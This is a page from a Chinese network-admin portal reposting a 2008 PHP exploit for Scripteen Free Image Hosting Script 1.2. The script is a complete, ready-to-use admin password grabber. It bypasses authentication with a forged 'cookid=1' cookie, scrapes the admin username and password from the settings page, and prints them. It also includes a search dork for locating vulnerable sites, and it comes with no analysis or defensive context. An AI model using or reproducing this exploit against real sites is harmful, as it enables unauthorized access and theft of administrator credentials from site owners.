网管联盟 | 网管论坛 | 网管u家 | 网管博客 | 网管软件 | 网管求职 | 小游戏 | 网管搜索 | 网管原创 | 网管聚合 | 网管读摘 | 网管焦点 | 世界素材 | 会员投稿 | 会员中心 
中国网管联盟
Windows Linux Cisco 网络技术 数据库 黑客攻防 DotNet Java PHP 认证 新闻资讯 服务器 存储资讯 网络设备 网管学堂 技术专题 焦点 网吧频道
 当前位置: > bitsCN.com > 网络攻防 > 黑客技术 > Exploit > Scripteen Free Image Hosting Script 1.2 (cookie) Pass Grabber Exploit  

Scripteen Free Image Hosting Script 1.2 (cookie) Pass Grabber Exploit

2008-07-19  作者:bitsCN整理  来源:中国网管联盟  点评 投稿 收藏

<?php
/*
Coded By RMx - Liz0zim
BiyoSecurity.Com & Coderx.org
Ki zava Ki Zava :)
Thanx : Crackers_Child - TR_IP - Volqan - All SQL Low3rz
*/
error_reporting("E_ALL");
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);
$desen='|value="(.*)"|siU';

function yolla($host,$paket)
{
global $veri;
$ac=fsockopen(gethostbyname($host),80);
if (!$ac) {
echo 'Unable to connect to server '.$host.':80'; exit;//Bağlanamaz ise
}
fputs($ac,$paket);
$veri="";
    while (!feof($ac)) {
      $veri.=fread($ac,1);

  }
  fclose($ac);
}
?>
<h2>Scripteen Free Image Hosting Script V1.2.* (cookie) Admin Password Grabber Exploit</h2>
<p>Coded By RMx - Liz0ziM</p>
<p>Web:<a href="http://www.biyosecurity.com" target="_blank">www.biyosecurity.com</a> </p>

中国网管联盟bitsCN.com


<p>Dork:"Powered by Scripteen Free Image Hosting Script V1.2"</p>
<form method="POST" action="">
<p>TARGET HOST:
  <input name="host" type="text" />
  Example:<strong>www.xxxx.com</strong></p>
<p>TARGET PATH:   <input name="klasor" type="text" />
Example:<strong>/</strong> or <strong>/scriptpath/</strong> </p>
<p><input name="yolla" type="submit" value="Send" /></p>
</form><br />
<? if($_POST[yolla]){
$host=$_POST[host];
$klasor=$_POST[klasor];
$admin=$_POST[admin];
$p=$klasor."admin/settings.php";
echo '<font color="red"><b>Sending Exploit..</b></font><br>';
$packet ="GET ".$p." HTTP/1.0\r\n"; 中国网管联盟bitsCN.com
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: cookid=1\r\n";
$packet.="Connection: Close\r\n\r\n";
yolla($host,$packet);
preg_match_all($desen,$veri,$cik);
$ad=$cik[1][0];
$sifre=$cik[1][1];
if($ad AND $sifre){
echo '
<font color="green">Exploit succeeded...</font ><br>
Admin Username:<b>'.$ad.'</b><br>
Admin Password:<b>'.$sifre.'</b><br>';
}
else
{
echo '<font color="red">Exploit Failed !</font>';
}
}

?>
TAGs     <   "       >   ac   p>   /p>   host   n"   _POST      
 上一篇:ITechBids 7.0 Gold (XSS/SQL) Multiple Remote Vulnerabilities   下一篇:CodeDB (list.php lang) Local File Inclusion Vulnerability
Scripteen Free Image Hosting Script 1.2 (cookie) Pass Grabber Exploit 评论:
loading.. 评论加载中…
评论:请自觉遵守互联网相关政策法规,评论不得超过250字。

验证码: 注册用户
本类热门排行:
最新推荐文章:
网管论坛交流: